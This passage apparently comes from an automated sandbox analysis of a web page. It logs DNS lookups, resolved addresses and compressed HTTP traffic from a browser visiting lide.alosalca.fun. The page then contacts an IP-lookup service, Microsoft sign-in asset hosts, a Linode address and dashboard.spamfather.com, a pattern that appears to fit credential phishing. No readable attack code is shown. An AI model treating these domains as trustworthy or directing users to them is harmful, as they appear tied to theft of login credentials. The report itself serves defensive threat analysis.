Apr 25, 2024 21:44:58.879611015 CEST	53727	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.879880905 CEST	61536	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.880039930 CEST	56748	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.880419016 CEST	58058	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.880577087 CEST	65126	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.880845070 CEST	64435	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.881056070 CEST	61930	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.913853884 CEST	53	50894	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.913875103 CEST	53	50948	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.988574982 CEST	53	54449	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.989419937 CEST	53	51791	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.989646912 CEST	53	61536	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.990609884 CEST	53	58058	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.990715981 CEST	53	65126	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.990937948 CEST	53	56748	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.991581917 CEST	53	59264	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:59.002953053 CEST	53	53727	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:59.019973993 CEST	53	56512	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:59.023252010 CEST	53	61930	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:59.024213076 CEST	53	64435	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:00.804600000 CEST	52474	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:00.805002928 CEST	58502	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:00.814260006 CEST	51019	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:00.814733028 CEST	60351	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:00.914875984 CEST	53	52474	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:00.914998055 CEST	53	58502	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:00.924551964 CEST	53	51019	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:00.925327063 CEST	53	60351	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:01.273169041 CEST	58690	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:01.273169041 CEST	50646	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:01.383666992 CEST	53	50646	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:01.383997917 CEST	53	58690	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:02.614275932 CEST	56107	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:02.614600897 CEST	54214	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:02.615092993 CEST	52505	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:02.615277052 CEST	60883	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:45:02.726794958 CEST	53	52505	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:02.754728079 CEST	53	54214	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:02.765207052 CEST	53	56107	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:02.767357111 CEST	53	60883	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:12.830929995 CEST	53	54505	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:32.237894058 CEST	53	61260	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:53.092317104 CEST	53	63776	1.1.1.1	192.168.2.5
Apr 25, 2024 21:45:54.700525999 CEST	53	61600	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 25, 2024 21:44:56.531290054 CEST	192.168.2.5	1.1.1.1	c231	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 21:44:55.451967001 CEST	192.168.2.5	1.1.1.1	0xa9c3	Standard query (0)	lide.alosalca.fun	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:55.452188015 CEST	192.168.2.5	1.1.1.1	0xde1f	Standard query (0)	lide.alosalca.fun	65	IN (0x0001)	false
Apr 25, 2024 21:44:56.382098913 CEST	192.168.2.5	1.1.1.1	0xfe36	Standard query (0)	lide.alosalca.fun	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:56.382237911 CEST	192.168.2.5	1.1.1.1	0x7f49	Standard query (0)	lide.alosalca.fun	65	IN (0x0001)	false
Apr 25, 2024 21:44:57.092374086 CEST	192.168.2.5	1.1.1.1	0x37a4	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.092642069 CEST	192.168.2.5	1.1.1.1	0x7be6	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 25, 2024 21:44:57.554122925 CEST	192.168.2.5	1.1.1.1	0xcacb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.554523945 CEST	192.168.2.5	1.1.1.1	0x2db8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.803128958 CEST	192.168.2.5	1.1.1.1	0x245d	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.803720951 CEST	192.168.2.5	1.1.1.1	0xfbaf	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.878463984 CEST	192.168.2.5	1.1.1.1	0x70a7	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.878966093 CEST	192.168.2.5	1.1.1.1	0x37bc	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.879492044 CEST	192.168.2.5	1.1.1.1	0x2bb0	Standard query (0)	69-164-216-107.ip.linodeusercontent.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.879611015 CEST	192.168.2.5	1.1.1.1	0xd1d9	Standard query (0)	69-164-216-107.ip.linodeusercontent.com	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.879880905 CEST	192.168.2.5	1.1.1.1	0x2c37	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.880039930 CEST	192.168.2.5	1.1.1.1	0xf6b3	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.880419016 CEST	192.168.2.5	1.1.1.1	0x6e4a	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.880577087 CEST	192.168.2.5	1.1.1.1	0xb237	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Apr 25, 2024 21:44:58.880845070 CEST	192.168.2.5	1.1.1.1	0x55af	Standard query (0)	dashboard.spamfather.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.881056070 CEST	192.168.2.5	1.1.1.1	0xa177	Standard query (0)	dashboard.spamfather.com	65	IN (0x0001)	false
Apr 25, 2024 21:45:00.804600000 CEST	192.168.2.5	1.1.1.1	0x8f60	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.805002928 CEST	192.168.2.5	1.1.1.1	0xc02b	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Apr 25, 2024 21:45:00.814260006 CEST	192.168.2.5	1.1.1.1	0x2f6b	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.814733028 CEST	192.168.2.5	1.1.1.1	0x2af	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 25, 2024 21:45:01.273169041 CEST	192.168.2.5	1.1.1.1	0xfd3b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 21:45:01.273169041 CEST	192.168.2.5	1.1.1.1	0xcf28	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.614275932 CEST	192.168.2.5	1.1.1.1	0x409	Standard query (0)	69-164-216-107.ip.linodeusercontent.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.614600897 CEST	192.168.2.5	1.1.1.1	0x4948	Standard query (0)	69-164-216-107.ip.linodeusercontent.com	65	IN (0x0001)	false
Apr 25, 2024 21:45:02.615092993 CEST	192.168.2.5	1.1.1.1	0xc91e	Standard query (0)	dashboard.spamfather.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.615277052 CEST	192.168.2.5	1.1.1.1	0xddaa	Standard query (0)	dashboard.spamfather.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 21:44:55.600059032 CEST	1.1.1.1	192.168.2.5	0xde1f	No error (0)	lide.alosalca.fun			65	IN (0x0001)	false
Apr 25, 2024 21:44:55.601160049 CEST	1.1.1.1	192.168.2.5	0xa9c3	No error (0)	lide.alosalca.fun		172.67.128.161	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:55.601160049 CEST	1.1.1.1	192.168.2.5	0xa9c3	No error (0)	lide.alosalca.fun		104.21.1.57	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:56.495461941 CEST	1.1.1.1	192.168.2.5	0xfe36	No error (0)	lide.alosalca.fun		104.21.1.57	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:56.495461941 CEST	1.1.1.1	192.168.2.5	0xfe36	No error (0)	lide.alosalca.fun		172.67.128.161	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:56.530857086 CEST	1.1.1.1	192.168.2.5	0x7f49	No error (0)	lide.alosalca.fun			65	IN (0x0001)	false
Apr 25, 2024 21:44:57.203166008 CEST	1.1.1.1	192.168.2.5	0x37a4	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.203166008 CEST	1.1.1.1	192.168.2.5	0x37a4	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.203166008 CEST	1.1.1.1	192.168.2.5	0x37a4	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.203166008 CEST	1.1.1.1	192.168.2.5	0x37a4	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.99	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.147	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.103	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.106	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.105	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665287971 CEST	1.1.1.1	192.168.2.5	0xcacb	No error (0)	www.google.com		172.217.215.104	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:57.665952921 CEST	1.1.1.1	192.168.2.5	0x2db8	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 25, 2024 21:44:58.913853884 CEST	1.1.1.1	192.168.2.5	0x245d	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.913853884 CEST	1.1.1.1	192.168.2.5	0x245d	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.913875103 CEST	1.1.1.1	192.168.2.5	0xfbaf	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 25, 2024 21:44:58.988574982 CEST	1.1.1.1	192.168.2.5	0x70a7	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.988574982 CEST	1.1.1.1	192.168.2.5	0x70a7	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.989419937 CEST	1.1.1.1	192.168.2.5	0x37bc	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 25, 2024 21:44:58.989646912 CEST	1.1.1.1	192.168.2.5	0x2c37	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:44:58.989646912 CEST	1.1.1.1	192.168.2.5	0x2c37	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.990609884 CEST	1.1.1.1	192.168.2.5	0x6e4a	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.990609884 CEST	1.1.1.1	192.168.2.5	0x6e4a	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.990609884 CEST	1.1.1.1	192.168.2.5	0x6e4a	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:58.990715981 CEST	1.1.1.1	192.168.2.5	0xb237	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 25, 2024 21:44:58.990937948 CEST	1.1.1.1	192.168.2.5	0xf6b3	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:44:59.019973993 CEST	1.1.1.1	192.168.2.5	0x2bb0	No error (0)	69-164-216-107.ip.linodeusercontent.com		69.164.216.107	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:59.023252010 CEST	1.1.1.1	192.168.2.5	0xa177	No error (0)	dashboard.spamfather.com			65	IN (0x0001)	false
Apr 25, 2024 21:44:59.024213076 CEST	1.1.1.1	192.168.2.5	0x55af	No error (0)	dashboard.spamfather.com		172.67.172.36	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:44:59.024213076 CEST	1.1.1.1	192.168.2.5	0x55af	No error (0)	dashboard.spamfather.com		104.21.47.193	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.914875984 CEST	1.1.1.1	192.168.2.5	0x8f60	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.914875984 CEST	1.1.1.1	192.168.2.5	0x8f60	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.914875984 CEST	1.1.1.1	192.168.2.5	0x8f60	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.914998055 CEST	1.1.1.1	192.168.2.5	0xc02b	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 25, 2024 21:45:00.924551964 CEST	1.1.1.1	192.168.2.5	0x2f6b	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:45:00.924551964 CEST	1.1.1.1	192.168.2.5	0x2f6b	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:00.925327063 CEST	1.1.1.1	192.168.2.5	0x2af	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:45:01.383666992 CEST	1.1.1.1	192.168.2.5	0xcf28	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.726794958 CEST	1.1.1.1	192.168.2.5	0xc91e	No error (0)	dashboard.spamfather.com		172.67.172.36	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.726794958 CEST	1.1.1.1	192.168.2.5	0xc91e	No error (0)	dashboard.spamfather.com		104.21.47.193	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.765207052 CEST	1.1.1.1	192.168.2.5	0x409	No error (0)	69-164-216-107.ip.linodeusercontent.com		69.164.216.107	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:02.767357111 CEST	1.1.1.1	192.168.2.5	0xddaa	No error (0)	dashboard.spamfather.com			65	IN (0x0001)	false
Apr 25, 2024 21:45:10.676872015 CEST	1.1.1.1	192.168.2.5	0xc41b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:10.676872015 CEST	1.1.1.1	192.168.2.5	0xc41b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:10.945260048 CEST	1.1.1.1	192.168.2.5	0xa584	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:45:10.945260048 CEST	1.1.1.1	192.168.2.5	0xa584	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:24.792346954 CEST	1.1.1.1	192.168.2.5	0x1ec6	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:45:24.792346954 CEST	1.1.1.1	192.168.2.5	0x1ec6	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:45:47.308442116 CEST	1.1.1.1	192.168.2.5	0x21e3	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:45:47.308442116 CEST	1.1.1.1	192.168.2.5	0x21e3	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:46:05.840462923 CEST	1.1.1.1	192.168.2.5	0x2175	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 21:46:05.840462923 CEST	1.1.1.1	192.168.2.5	0x2175	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:46:12.887384892 CEST	1.1.1.1	192.168.2.5	0x7594	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 25, 2024 21:46:12.887384892 CEST	1.1.1.1	192.168.2.5	0x7594	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lide.alosalca.fun

code.jquery.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

api.ipify.org

69-164-216-107.ip.linodeusercontent.com

dashboard.spamfather.com

aadcdn.msftauth.net

fs.microsoft.com

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	104.21.1.57	80	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 21:44:56.637306929 CEST	440	OUT	GET /highbox/ HTTP/1.1 Host: lide.alosalca.fun Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 25, 2024 21:44:57.014511108 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Tue, 13 Feb 2024 18:25:18 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHDWgvuPW1Jq%2B4XrEiCzqMSqZbPbmtqlP%2FB%2F0NP%2Bh3ExTLuoC1SlK5w14KlFPtR30uwaorkk52h1iekMtvPQ1%2B4Q3ShUWcOAY8VuIPRT5%2BnDcIUdpmLu%2B%2FprqHKjWYz2IE35KQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0d4a25f4a452c-ATL Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 37 32 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 57 5b 93 db b6 15 7e f7 8c ff 03 cc 8e 4b 72 57 94 28 ea 2e 8a 9a d8 71 62 6f 9b d4 ad 93 75 27 75 76 32 20 01 92 58 91 00 0d 40 5a ca 3b fb df 3b 00 29 ea b6 5a cb 79 e8 53 a5 d1 88 38 97 ef 5c 71 00 ce 5e 20 16 c9 75 81 41 2a f3 6c fe fc d9 4c fd 83 0c d2 24 30 30 35 e6 cf 9f 29 1a 86 68 fe fc 19 00 00 cc 44 c4 49 21 eb 95 fa c4 4b 1a 49 c2 28 f8 c3 2d fb b8 ef 59 7f b8 e5 a0 17 23 af d7 52 4f 91 eb c6 c8 be 5f 41 ae 04 7a 68 e8 f5 50 50 3f 59 b6 cf b1 5c f2 46 37 d8 80 59 35 21 ec 2a 90 fe 78 d4 f5 fa f6 7d 43 0c 9a 27 c7 2d bb a3 81 5f c3 7b e1 b0 d7 8f 83 c6 d0 a7 46 ee 66 c7 52 25 e5 3f b4 9e f2 d8 7f d8 0d ac f2 b6 89 02 7b de 70 1c 7c 32 eb 6c fc 5e 7a ae e0 51 f0 7b e9 79 66 cb ec 4d 06 a3 c9 97 f7 9f 5f 5d fd 53 af 86 3d d7 5d 7c 8e ae e0 2b b3 65 76 7b fd f1 70 30 b9 12 6f 17 1f b9 d9 32 87 dd e1 70 7d fb 19 52 6c b6 cc 3a b9 66 cb 4c a5 2c c4 b4 d3 81 b7 b0 6c 27 8c 25 19 86 05 11 ed 88 e5 9a d6 c9 48 28 3a b7 9f 97 98 af 3b 5e db 6b f7 eb 45 3b 27 b4 7d 2b 94 25 6f d0 1f 0d 93 95 28 d3 bb 1d c4 88 21 dc ae 65 15 5a f5 e8 f4 da a3 76 b7 2d 32 92 6f 11 c6 bd c9 78 4c 56 ff 79 f3 77 e5 69 7f 34 1a 78 ee 8f 6b 56 5e 7f 31 5b a6 d7 2d be 7f fd 71 21 cd 96 39 f8 a9 a0 51 5c 98 37 7e 9d aa 6d 1d ed fb 6d de ab b4 f9 0f 3b a5 a8 bb e0 a1 4e ec c0 f3 c6 3d b8 a9 ae 6f ed b6 83 17 4f 26 61 a8 2a 34 ec 85 31 1a 6c ab 31 19 7b 08 6d 94 94 40 2f f2 06 91 6e 83 4a c9 b2 fd bb 94 64 d8 7a f1 e2 d3 8d 7d 2f f9 7a a3 db c7 38 1e 0d 02 a7 80 5c e0 2b 2a ad 06 cf 72 cb ee d8 b5 ed 8e 5b 76 2f 1f 67 8f b0 66 7b a7 d8 48 b3 7b 97 27 d0 47 43 cd ef 5f 58 a7 04 42 2d 30 b0 4f 19 18 6b fe f0 c2 3a c1 87 9a 3f 3a a9 3f d1 fc f1 49 07 63 cd 9f f8 24 b6 b6 b9 0a 82 6d 09 42 8e e1 c2 c7 99 c0 a0 49 fb 27 b3 58 8a d4 bc b1 76 28 22 25 b1 34 6f 2c db f6 1f 22 28 a3 54 e3 0d c7 d8 9d e8 5d 7d 9e e6 c3 83 55 b7 4c cb 2d 3d 14 a3 d0 b6 fd 66 97 b2 30 5e 8a Data Ascii: 72dW[~KrW(.qbou'uv2 X@Z;;)ZyS8\q^ uAlL$005)hDI!KI(-Y#RO_AzhPP?Y\F7Y5!x}C'-_{FfR%?{p\|2l^zQ{yfM_]S=]\|+ev{p0o2p}Rl:fL,l'%H(:;^kE;'}+%o(!eZv-2oxLVywi4xkV^1[-q!9Q\7~mm;N=oO&a41l1{m@/nJdz}/z8\+r[v/gf{H{'GC_XB-0Ok:?:?Ic$mBI'Xv("%4o,"(T]}UL-=f0^
Apr 25, 2024 21:44:57.014540911 CEST	1205	IN	Data Raw: 08 4a 7c fd e1 27 dd 2f 28 46 d0 6d fa 2f 94 0c ee 90 ab 96 ab 7a ff 9a 67 c1 a1 76 d5 89 3a 0b 03 db 6e a9 7d f1 b7 73 84 47 b6 ed 23 16 2d 73 4c e5 27 f3 8e 13 89 cd 1b 6b 77 50 a8 69 ab 27 85 c4 a5 ec dc c2 15 6c 78 de de 20 b9 84 92 85 56 e3 Data Ascii: J\|'/(Fm/zgv:n}sG#-sL'kwPi'lx V}i\|1/l:WdWp{'-R"^~/o_?PPMu0u JUX]9wSw4@xE"E
Apr 25, 2024 21:44:57.014775991 CEST	1212	IN	Data Raw: 34 62 35 0d 0a ec 5a ed 6f a3 36 18 ff 57 2c 4e db a4 49 76 fc 86 81 a6 ad b4 8b 26 f5 43 6f 9f a6 7e 99 a6 c8 18 08 d1 51 40 e0 24 bd fe f5 93 0d 69 e8 25 4d 21 2f bb 4e 4b a2 60 63 1b fb c1 cf eb ef 89 7b 8c 2b d7 b4 24 45 ae 61 3d 7f 8e af 00 Data Ascii: 4b5Zo6W,NIv&Co~Q@$i%M!/NK`c{+$Ea=af.Bmel^3<Qdb{}),iXEBwNJ- o$)7E`v!j!>6V6ea/#~fI{ck4(=ttnokGw+!S?
Apr 25, 2024 21:44:57.130662918 CEST	330	IN	Data Raw: 31 34 33 0d 0a ec 9b cd 6e 83 30 0c c7 5f c5 e3 d4 1d b6 7e 88 4a 5b f7 0a 7b 83 6a 87 20 bb d4 6a 49 b2 90 a1 f6 ed a7 84 a2 85 31 b1 a5 88 6a 07 4e 80 04 c8 31 09 f6 3f fe f9 06 7c 4a c5 b8 8c 4a d4 c4 ad c8 99 8a 71 35 8e 65 13 39 f3 c7 7b 86 Data Ascii: 143n0_~J[{j jI1jN1?\|JJq5e9{Jt4Aj'=IV'O;#PThGzg:LY,p}B$66n}MST`Ze=dJ38CN\!W}-3".\]V;!
Apr 25, 2024 21:44:57.132236004 CEST	1289	IN	Data Raw: 32 64 35 35 0d 0a ec 7d eb b2 a2 5a 96 ee ff 13 71 de 21 a3 ab 4f 99 6b bb 32 b9 df 6a 57 56 05 a0 22 5e 51 10 d1 dd 3b 2a b8 8b 28 28 a0 a2 9d f5 40 e7 35 ce 93 9d 18 03 73 e5 5a 56 66 75 5d bb ab 3b 2a 23 72 21 d3 c9 98 63 8e eb 37 27 c8 f8 3b Data Ascii: 2d55}Zq!Ok2jWV"^Q;((@5sZVfu];#r!c7';_Hk/L<C/[<c?'_Y0,x~g38w_8qy/@J_C!H?1\g
Apr 25, 2024 21:44:57.132256031 CEST	1289	IN	Data Raw: d0 b1 3c 96 2f 5d 59 de 80 3d c9 84 6c 30 62 9e e7 b9 3c 1c 0e 87 b2 9a 24 49 2c ff 27 9e 1f bd 50 0f 64 6b 41 08 5d cf 19 8d 9d 8d 16 95 eb 53 2a 32 fd b6 90 19 bc cd 1d 42 7e c7 26 6d dd a9 79 ea c6 2e f9 2d 7b a4 d4 9a 8c ac 6a b4 cd 92 0d 79 Data Ascii: </]Y=l0b<$I,'PdkA]S*2B~&my.-{jyWtU(]hmu!lGAfmlA84~;9()VNi5Ij#n=8olzZ&0-mL2c?&.N9qToJn"sgEvIDbC[yS
Apr 25, 2024 21:44:57.132268906 CEST	1289	IN	Data Raw: cf b7 4c 75 aa df ae 9b 89 90 76 37 f3 54 cc e4 41 4d b1 13 cb e6 fa 6d 7a 4d 5c cd f6 85 10 3a a4 43 c8 43 3d cb 65 c9 bf cd 9d 1d 75 16 65 2d 32 a3 8d cd 76 44 ed d2 1e 54 da 89 1b 19 0b a3 43 95 8b 73 e1 74 bc 41 2f b1 86 e5 a1 a6 f5 e9 cc b4 Data Ascii: Luv7TAMmzM\:CC=eue-2vDTCstA/nux%#vlo{6t;zk'a1k~'k\|>b!z1=.(<9]-FXNj,^StN7C*7b#c8+^-&RIIn=F3MJl
